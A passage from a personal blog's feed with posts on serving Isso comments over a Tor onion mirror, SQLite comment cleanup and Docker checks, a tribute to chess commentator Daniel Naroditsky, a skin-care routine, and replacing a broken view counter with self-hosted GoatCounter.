    +    server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost;
    +
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +
    +    # /isso -> /isso/
    +    location = /isso { return 301 /isso/; }
    +
    +    # IMPORTANT: this must beat regex locations below
    +    location ^~ /isso/ {
    +        proxy_pass http://127.0.0.1:8080/;    # Isso container/port
    +        proxy_http_version 1.1;
    +        proxy_set_header Host $host;
    +        proxy_set_header X-Forwarded-Host $host;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +        proxy_redirect off;
    +        proxy_read_timeout 60s;
    +    }
    +
    +    # static
    +    location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Reload and smoke test:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -I http://<your-onion-host>/isso/js/embed.min.js   # expect 200
    +
    +

    If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso="/isso"), you don’t need CORS.

    +

    Small CSS tweaks (one color across light/dark + spacing)

    +

    I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:

    +
    /* put this in your site CSS */
    +:root { --btn-blue: #2563eb; } /* adjust to taste */
    +
    +/* Isso form buttons */
    +.isso-post-action input[type="submit"],
    +.isso-post-action input[name="preview"] {
    +  background: var(--btn-blue) !important;
    +  color: #fff !important;
    +  border: none;
    +  padding: .5rem .75rem;
    +  border-radius: .4rem;
    +  cursor: pointer;
    +}
    +
    +/* link actions under comments */
    +.isso-comment-footer a {
    +  color: var(--btn-blue) !important;
    +  margin-right: .5rem;       /* gives "edit" and "delete" some breathing room */
    +  text-decoration: none;
    +}
    +.isso-comment-footer a:hover { text-decoration: underline; }
    +
    +/* keep name/email/website stacked, slightly larger */
    +.isso-auth-section .isso-input-wrapper {
    +  display: block;
    +  margin: .35rem 0;
    +}
    +.isso-auth-section label { font-size: .95rem; }
    +.isso-auth-section input[type="text"],
    +.isso-auth-section input[type="email"],
    +.isso-auth-section input[type="url"] {
    +  width: 100%;
    +  font-size: 1rem;
    +  padding: .5rem .6rem;
    +}
    +

    What changed (the fixes I actually made)

    +
      +
    1. +

      Theme correctness for Giscus.
      +PaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:

      +
        +
      • read localStorage.pref-theme first,
      • +
      • fall back to class/data-theme, then
      • +
      • fall back to OS preference.
        +I also re-theme the Giscus iframe on every toggle via postMessage.
      • +
      +
    2. +
    3. +

      Isso over Tor.
      +On the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.

      +
    4. +
    5. +

      UI polish.

      +
        +
      • Unified button/link color across themes,
      • +
      • ensured “edit”/“delete” aren’t touching,
      • +
      • kept the author/email/website inputs stacked, and
      • +
      • left Submit/Preview styled and grouped.
      • +
      +
    6. +
    +

    Sanity check

    +
      +
    • Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload.
    • +
    • Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200.
    • +
    • Switcher buttons swap panels instantly; Giscus only loads when clicked.
    • +
    +

    8) Final notes!

    +

    I could not fully fix the style of Isso. +CSS is not easy… drat!

    +

    I don’t think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I’m happy with it! ^^

    +

    Admin note — Delete all Isso comments for a single post

    +

    This note is for future me: how to remove every comment tied to one post in Isso.
    +Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.

    +
    +

    TL;DR (host with SQLite)

    +
    +

    Replace the placeholders for DB and POST_URI first.

    +
    # 0) Variables — edit these two lines for your setup
    +DB="/var/lib/isso/comments.db"          # path to your Isso SQLite DB (check isso.conf: [general] dbpath)
    +POST_URI="/posts/skin_routine/"         # the post's URI as stored by Isso (often just the path)
    +
    +# 1) Backup (always do this!)
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +
    +# 2) Inspect: find the thread row and preview the comments
    +sqlite3 "$DB" "
    +.headers on
    +.mode column
    +SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +SELECT id, tid, created, author, text
    +FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%')
    +ORDER BY created DESC
    +LIMIT 25;
    +"
    +
    +# 3) Delete all comments for that post (thread)
    +sqlite3 "$DB" "
    +DELETE FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');
    +"
    +
    +# 4) (Optional) Remove the now-empty thread row too
    +sqlite3 "$DB" "
    +DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +VACUUM;
    +"
    +
    +# 5) Done. Isso usually picks this up automatically.
    +#    If you're containerized and want to be safe:
    +# docker restart <isso_container_name>
    +

    +

    If running Isso in Docker

    +

    Open a shell in the container, then run the same steps:

    +
    docker exec -it <isso_container_name> /bin/sh
    +
    +# Inside the container:
    +DB="/db/comments.db"    # or /data/comments.db, check your image/volume mapping
    +POST_URI="/posts/skin_routine/"
    +
    +sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +exit
    +
    +# Optionally restart the container:
    +docker restart <isso_container_name>
    +

    +

    Notes & gotchas

    +
      +
    • Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for: +
      [general]
      +dbpath = /var/lib/isso/comments.db
      +
    • +
    • What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it’s usually the path (/posts/<slug>/). If you’re unsure, list recent threads: +
      sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"
      +
    • +
    • Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those.
    • +
    • Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again.
    • +
    • HTTP API option: Isso supports DELETE /<comment_id> if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.
    • +
    • Safety: Always run a backup first, and preview with the SELECT before you run the DELETE.
    • +
    +
    +

    One-liners for the impatient

    +
    DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/"
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads  WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +

    +

    Isso container: quick checks & fixes for future me! (thank past me later ^^)

    +

    Find the container

    +
    docker ps -a --format 'table {{.ID}}	{{.Names}}	{{.Status}}	{{.Ports}}' | grep -i isso
    +

    Inspect basic state

    +
    docker inspect -f 'Name={{.Name}}  Running={{.State.Running}}  Status={{.State.Status}}  StartedAt={{.State.StartedAt}}  FinishedAt={{.State.FinishedAt}}' isso
    +

    Logs

    +
    docker logs --tail=200 isso
    +docker logs -f isso
    +

    Ports & reachability

    +
    docker port isso
    +sudo ss -ltnp | grep ':8080 '
    +curl -i http://127.0.0.1:8080/
    +

    Restart policy (keep it running)

    +
    docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso
    +docker update --restart unless-stopped isso
    +

    Start/stop the container

    +
    docker start isso
    +docker stop isso
    +

    Who/what stopped it (events)

    +
    docker events --since 24h --filter container=isso
    +

    Common config issue: duplicate options/sections +If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).

    +
    nl -ba /config/isso.cfg | sed -n '1,120p'
    +grep -n '^\[server\]' /config/isso.cfg
    +grep -n '^public-endpoint' /config/isso.cfg
    +

    Using Docker Compose (run these in the directory with your compose file)

    +
    docker compose ps
    +docker compose logs --tail=200 isso
    +docker compose up -d isso
    +

    If the container doesn’t exist (create/recreate)

    +
    docker image ls | grep -i isso
    +
    +docker run -d   --name isso   -p 8080:8080   -v /srv/isso/config:/config   -v /srv/isso/db:/db   --restart unless-stopped   ghcr.io/posativ/isso:latest
    +

    Optional: exclude from auto-updaters (like Watchtower)

    +
    docker update --label-add com.centurylinklabs.watchtower.enable=false isso
    +

    This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S
    +A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB
    +dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm
    +Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY
    +EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH
    +W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb
    +eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm
    +Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM
    +KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC
    +qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa
    +GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA=
    +=9k+S
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md.asc
    +gpg --verify new_features.md.asc new_features.md
    +  
    +
    + + +]]>
    +
    + + Danya + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/danya/ + Tue, 21 Oct 2025 08:41:58 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/danya/ + A sad note about someone I knew in the online world. + Daniel Naroditsky has passed away. +I’ve never been a pro chess player, but I do follow some of the fun ones, and occasionally Magnus. +I like Fabi a lot, but my all-time favorite is Hikaru. +Danya was my favorite commentator. +Someone who was so fun to watch explaining complex positions. +I think he was indeed, if not the best, one of the best at it.

    +

    The occasion is grim. +However, let’s remember the immense pressure he was under. +Let’s remember how he was accused of cheating by Kramnik many, many times. +By a former world champion. +Someone who has accused many and has ruined their lives for no reason. +The likes of Hikaru!

    +

    The problem is that Hikaru kind of went out of his way and cast doubt on Hans in the past. +I don’t know how to relate to any of these now. +I do think this is some stupid, sad consequence that these baseless accusations have. +All players have their exceptionally good days, and many many bad days. +These accusations make no sense.

    +

    I do think Danya went under so much pressure from these allegations, though. +I don’t know if he ever cheated or not, but like, what’s the point now? +He is gone. +He’ll never be back.

    +

    I don’t know what the cause was, but I hope he didn’t take his own life. +I don’t know how the world will ever forgive FIDE or Kramnik for this. +This bullying in plain sight is just brutal.

    +

    Rest in peace, Danya. +I don’t think the community ever forgets your amazing commentaries, and what a vibrant and nice character you were.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM
    +jSpazRAAkvfyfZFtYRnSapnmBsWF+f6Sj42Cy5T5PFq6C+DdQdOq1VZjGComKjXv
    +YqD4dkiBNsFXehp/DLUXxh+jvme1icBas5tZJooJX+ykhlDflRRheyz3k/3fpVV2
    +fo48rh5vV3cn1zDUZA2+XJ6I4FMFtUBCTVwtEVTCFNeut2CJzvUnCY3ocQDtBC2O
    +u6PH0hwDYvarj4RFEadIq2+vfN9mSpgTmmoTm7rmKPtKXcZ8DYwS+7tS8RZnYMX9
    +BpaFLH07aYgusamoSS51m6xCL1hSX3tq709bBCJT8/p7Mva/LmwWo3aUH6PqFCY2
    +eTnhxoMGldwPp4PKq3bGt6KrI2zN+P4dTq7LWUdmrlHsxyLGaVhymG4XdrWYxG4c
    +9JhD3FFuNX6u3TMekt9I6BZMmNHX6RLl2Nka/ohXV+1HyH/1flk/47szJXGZ6Gg+
    +NEWWr1rkFZZWju2cVzjprquVbLbRlBuTiBvF3qSaPjhN6VH/XBFkXr8sv4/kSq6B
    +Gn8TtHsqrljhID2OBIv21R5SvtqA61pHzdC47Ie1mzvF4WupJjAA0ekPEBoRgc7X
    +xc7JMmK+AHfIFgEwQUKfgFQ0w89qEUKZve5ThyXjok/9EnvygseomqwGV30DN0S8
    +zVuQEy3O7tkGShRjgnS+T4QddXNk6ciGzEisIIxyFEzJ6P6KSr4=
    +=BEoA
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/danya.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/danya.md.asc
    +gpg --verify danya.md.asc danya.md
    +  
    +
    + + +]]>
    +
    + + Skin routine + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/skin_routine/ + Mon, 20 Oct 2025 18:47:04 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/skin_routine/ + My skin routine! + I don’t know how to answer the “why?” or “whyyyyy?” or even “why the f***?” I have a skin routine. +Last year, after I came to Germany, I asked a female friend about how to do skin care. +She touched my face and said, “Knock on wood, you have good skin!”. +So… idk why I decided to take extra care of my skin, but I did!

    +

    Generally speaking, things like this make me feel good about myself. +Like I’m doing something positive while not being tortured! +It’s always fun to rub cream on your face or gently massage it. +Even cleaning the face skin feels refreshing. +Everything also smells nice!

    +

    Oh… and yeah, idk why I’m not good at excercising, but I really like to do things like this! +Weird. +I should definitely start going to the gym and working out. +It is needed for me.

    +

    So… I decided to watch a few Youtube videos, and a guide about skin care for men. +My routine is super simple! +I have a face cleanser that I use first and wash my face with it. +It always feels refreshing and nice to use it! +I initially bought the CeraVe cleaner, but switched to “Jack Black Pure Clean Daily Facial Cleanser” after that one ended. +The cleanser deeply cleans your skin, and almost all of the bad things that might be on your skin. +You don’t need to use the cleanser in the morning, but you should definitely use it at night. +It’s ok to wash your face with water in the morning.

    +

    The next step for me is applying the toner. +I use “NIVEA Derma Skin Clear Toner”. +It smells really nice and is quite refreshing to apply to the skin! +The toner adjusts the PH of your skin, and deep cleans things that the cleanser could not. +I gently rub it and let it dry; no rinsing is required here.

    +

    After this, I apply an exfoliant to exfoliate my skin. +I’ve been using “Paula’s Choice Skin Perfecting 2% BHA Liquid Exfoliant” so far, but this time I got “BULLDOG Original Exfoliating Face Scrub for Purer Skin”. +Haven’t used it yet, but Paula’s choice one is definitely good. +The thing with it is that you don’t have to massage it; it’s not physical; it’s an acid. +I prefer the scrubby ones, but I think these are better for your skin. +I’ll see how I like the new one, and if I prefer it or not. +No rinsing is required here either.

    +

    I then apply my eye cream, which is also from CeraVe. +Haven’t really seen much of a difference under my eyes, but it is supposed to help. +I don’t know! It feels good to apply the eye cream regardless.

    +

    The next step for me is the best one! +Moisturiser. +Yayy!!! +It actually feels weird to use a moisturiser since I’ve watched Mortuary Assisant’s gameplay, and the last step there for embalming the body is applying moisturiser. +Feels weird. +The one I use is water-based, hence perfect for men. +I use “Neutrogena Hydro Boost Aqua Gel Moisturiser”. +As a man, if you use oil-based products, you’ll get acne. +So don’t.

    +

    I learned to use pads for applying some of these stuff, it feels cooler when applying the things to your face, and it specifically feels good when you gently tap your face with a cotton pad! ^^

    +

    And… last but not least is applying sun screen. +Nothing special here. +I just make sure to use SPF 50+ sunscreen for better protection.

    +

    Even if it does nothing, it still makes me feel good about myself.

    +

    The whole routine does not take more than 10 min, but gives me an energy boost and a lot of good vibes both at night and in the morning!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSpuHQ//XvJ3YkPuPbDbaBf9PcLKftYmTRA2WWn14l1ZnLAav0MeEPVlwENAMQ5W
    +hwAwfw1yF1KxMwLcskXYTpghSfIHegDjaXJqWctBQFJ8sdCUJNQyk+LTcJ1EXmED
    +HhZrZJw8UsFcgyLs56pbBsIjjFMI4PbFWPxLgPu+tEpgIY8fSXzIb/gsUb/K3vZb
    +JsDUyLjHwsoCn9oQFp/hE54i3LjuWtPipnSlxmWUx7AhtZUVICCQJP3/KelhXQdi
    +2fPmTsVNIzRtCxjnwII6KZtqKtj1mEaIFmmykKIsRpyNIRvNjDFkCxor+NAYKJmC
    +veUzhll/LpNDAnrMAZ8ykEyhInlIHFtsH8PKiWDUhhrP4eggLmnBBFYVHrZ36BU9
    +48pn5odcK1Pz37rHwQKqm8RgL5PC09s2XWo6BJZGUwHjMDq8Kxtswp5JrRsAlmmi
    +8yk4/W4ASJfrE5ns+PSC24ogyNx/tu/2NiT5IlmpSilr5CGN9HhbfvXERM3OGHwF
    +MeTRc61McdgHDHvg0V1PdE4Pe/wLZgzKHu/H+1E04P1uVHj102RXV7HFfYYDv59b
    +suCSlTj/j2dNZuwGaw8wG2U17nGng9XkCJ1J2xXKKUb2gqIpOHVPF3yRGBnZwvpX
    +1bPgM8l3ItO6T55D4Ala2glHtQnhJRmi9GcdI47GpNoc2PWWKrA=
    +=dBAx
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/skin_routine.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/skin_routine.md.asc
    +gpg --verify skin_routine.md.asc skin_routine.md
    +  
    +
    + + +]]>
    +
    + + A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/papermod-views-debugging-story/ + Sat, 18 Oct 2025 10:45:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/papermod-views-debugging-story/ + I tried to add a simple &lsquo;views&rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix. + I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.

    +

    The thing is, I don’t think the counter even works correctly. +Or maybe I’m undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I’ve been counting days for.

    + +

    First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span id="busuanzi_container_site_pv">
    +    Site views: <span id="busuanzi_value_site_pv">—</span>
    +  </span>
    +  <span aria-hidden="true">·</span>
    +  <span id="busuanzi_container_site_uv">
    +    Visitors: <span id="busuanzi_value_site_uv">—</span>
    +  </span>
    +</div>
    +

    So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.

    +

    The first round of checks

    +

    I added the script site‑wide in layouts/partials/extend_head.html:

    +
    <script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer></script>
    +

    Refreshed. Still blank.

    +

    DevTools time. Network tab: the script does load:

    +
      +
    • Request URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js
    • +
    • Request Method: GET
    • +
    • Status Code: 304 Not Modified
    • +
    • Referrer Policy: strict-origin-when-cross-origin
    • +
    • User-Agent: a normal Chromium build (nothing exotic)
    • +
    +

    No red flags. Just a perfectly normal 304.

    +

    Maybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… .

    +

    The odd message

    +

    Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:

    +
    +

    “域名过长,已被禁用 views”

    +

    That’s “domain name too long, disabled.” Wait, what?

    +

    I checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.

    +

    Two ways out

    +

    At this point I had two clean options:

    +
      +
    1. Keep Busuanzi and move the site to the apex domain (short enough).
    2. +
    3. Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit.
    4. +
    +

    I liked the subdomain (habit, mostly), so I tried Vercount.

    +

    The swap (five-minute fix)

    +

    I removed the Busuanzi script and added Vercount instead:

    +
    <!-- extend_head.html -->
    +<script defer src="https://events.vercount.one/js"></script>
    +

    I kept the same tidy footer row, but switched the IDs to Vercount’s:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span>Site views: <span id="vercount_value_site_pv">—</span></span>
    +  <span aria-hidden="true">·</span>
    +  <span>Visitors: <span id="vercount_value_site_uv">—</span></span>
    +</div>
    +

    For per‑post counts (in the post meta), I added:

    +
    <span id="vercount_value_page_pv">—</span> views
    +

    Deploy. Refresh. Numbers.

    +

    But if you want to stay with Busuanzi…

    +

    If your apex domain is short enough, pointing the site there works fine. The gist:

    +
      +
    • +

      Set baseURL in Hugo to the apex:

      +
      baseURL = "https://alipourimjourneys.ir/"
      +
    • +
    • +

      Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).

      +
    • +
    • +

      Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.

      +
    • +
    +

    Post‑mortem checklist (a.k.a. things I learned)

    +
      +
    • If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule.
    • +
    • Busuanzi refuses long hostnames (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
    • +
    • Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount).
    • +
    • CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.
    • +
    +

    Happy ending

    +

    Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.

    +

    If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.

    +

    Final notes

    +

    Yea… I just felt this feature was missing, and it’s good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I’ve spent too much time on it, and it feels like wasted time.

    +
    +

    Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)

    +

    This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.

    +
    +

    1) Clean up old counters (optional, once)

    +
    # From your Hugo site root
    +grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .
    +

    Remove any matching <script> and leftover *_value_* spans you no longer want.

    +
    +

    2) Run GoatCounter with Docker Compose

    +

    Minimal docker-compose.yml in ~/goatcounter:

    +
    services:
    +  goatcounter:
    +    image: arp242/goatcounter:2.6
    +    container_name: goatcounter
    +    ports:
    +      - "127.0.0.1:8081:8080"   # bind only to localhost; nginx will proxy
    +    volumes:
    +      - goatcounter-data:/home/goatcounter/goatcounter-data
    +    restart: unless-stopped
    +
    +volumes:
    +  goatcounter-data: {}
    +

    Start:

    +
    docker compose pull && docker compose up -d
    +

    Initialize the site (replace email if needed):

    +
    docker compose exec goatcounter   goatcounter db create site   -vhost=statsblog.alipourimjourneys.ir   -user.email=iman.alip2001@gmail.com
    +
    +

    If you ever see “no site at this domain” on localhost: use the exact vhost above.

    +
    +

    3) Cloudflare + Origin certificate (CF → origin TLS)

    +
      +
    • DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange).
    • +
    • SSL/TLS mode: Full (strict).
    • +
    • Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server:
    • +
    +
    sudo mkdir -p /etc/ssl/cloudflare
    +sudo nano /etc/ssl/cloudflare/origin.crt   # paste PEM
    +sudo nano /etc/ssl/cloudflare/origin.key   # paste key
    +sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key}
    +sudo chmod 644 /etc/ssl/cloudflare/origin.crt
    +sudo chmod 600 /etc/ssl/cloudflare/origin.key
    +

    +

    4) Nginx vhost for the stats subdomain

    +
    # /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
    +server {
    +  listen 80;
    +  server_name statsblog.alipourimjourneys.ir;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  listen 443 ssl http2;
    +  server_name statsblog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/ssl/cloudflare/origin.crt;
    +  ssl_certificate_key /etc/ssl/cloudflare/origin.key;
    +
    +  # Proxy to the container on localhost
    +  proxy_set_header Host              $host;
    +  proxy_set_header X-Real-IP         $remote_addr;
    +  proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto $scheme;
    +
    +  location / { proxy_pass http://127.0.0.1:8081; }
    +}
    +

    Enable & reload:

    +
    sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +

    +

    5) Hugo integration (clearnet + onion, singular/plural + “0 views”)

    +

    Self‑host count.js so the onion mirror never fetches a third‑party script:

    +
      +
    • Save the official count.js as static/js/count.js in your Hugo repo.
    • +
    +

    Then add this to layouts/partials/extend_head.html (loader + helper):

    +
    <!-- Loader: choose endpoint based on hostname -->
    +<script>
    +(function () {
    +  var ONION = /\.onion$/i.test(location.hostname);
    +  window.goatcounter = { endpoint: ONION ? '/count' : 'https://statsblog.alipourimjourneys.ir/count' };
    +  var s = document.createElement('script');
    +  s.async = true; s.src = '/js/count.js';
    +  document.head.appendChild(s);
    +})();
    +</script>
    +
    +<!-- Helper: inline meta counts (post pages + lists) and totals -->
    +<script>
    +(function () {
    +  const ONION = /\.onion$/i.test(location.hostname);
    +  const GC_HOST = ONION ? '' : 'https://statsblog.alipourimjourneys.ir'; // '' = same-origin on .onion
    +  const SING='view', PLUR='views';
    +  const nf = new Intl.NumberFormat();
    +
    +  function ready(fn){ if (document.readyState !== 'loading') fn(); else document.addEventListener('DOMContentLoaded', fn); }
    +  function gcPath(){ try { return (window.goatcounter && window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } }
    +  async function fetchCount(path){
    +    try {
